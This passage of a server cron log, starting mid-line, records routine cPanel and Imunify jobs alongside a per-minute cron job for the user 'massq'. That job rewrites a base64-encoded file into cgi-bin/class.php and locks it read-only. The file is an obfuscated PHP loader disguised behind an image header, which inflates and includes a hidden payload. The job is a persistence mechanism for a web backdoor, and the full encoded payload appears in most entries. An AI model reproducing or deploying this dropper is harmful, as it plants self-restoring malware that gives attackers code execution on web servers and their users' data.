QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:36:01 server CROND[963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:36:01 server CROND[964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:36:01 server CROND[965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:37:01 server CROND[1551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:37:01 server CROND[1552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:37:01 server CROND[1553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:38:01 server CROND[1932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:38:01 server CROND[1933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:38:01 server CROND[1936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:39:01 server CROND[2352]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 10:39:01 server CROND[2351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:39:01 server CROND[2353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:39:01 server CROND[2354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:40:01 server CROND[2870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:40:01 server CROND[2872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:40:01 server CROND[2889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:40:01 server CROND[2891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:40:01 server CROND[2890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:40:01 server CROND[2893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:40:01 server CROND[2887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:40:01 server CROND[2888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:41:01 server CROND[3697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:41:01 server CROND[3698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:41:01 server CROND[3699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:42:01 server CROND[4087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:42:01 server CROND[4089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:42:01 server CROND[4086]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:42:01 server CROND[4090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:43:01 server CROND[4465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:43:01 server CROND[4466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:43:01 server CROND[4467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:44:01 server CROND[4852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:44:01 server CROND[4851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:44:01 server CROND[4853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:45:01 server CROND[5546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:45:01 server CROND[5548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:45:01 server CROND[5549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:45:01 server CROND[5550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:45:01 server CROND[5551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:45:01 server CROND[5552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:45:01 server CROND[5555]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:46:01 server CROND[6381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:46:01 server CROND[6383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:46:01 server CROND[6382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:47:01 server CROND[6753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:47:01 server CROND[6754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:47:01 server CROND[6755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:48:01 server CROND[7135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
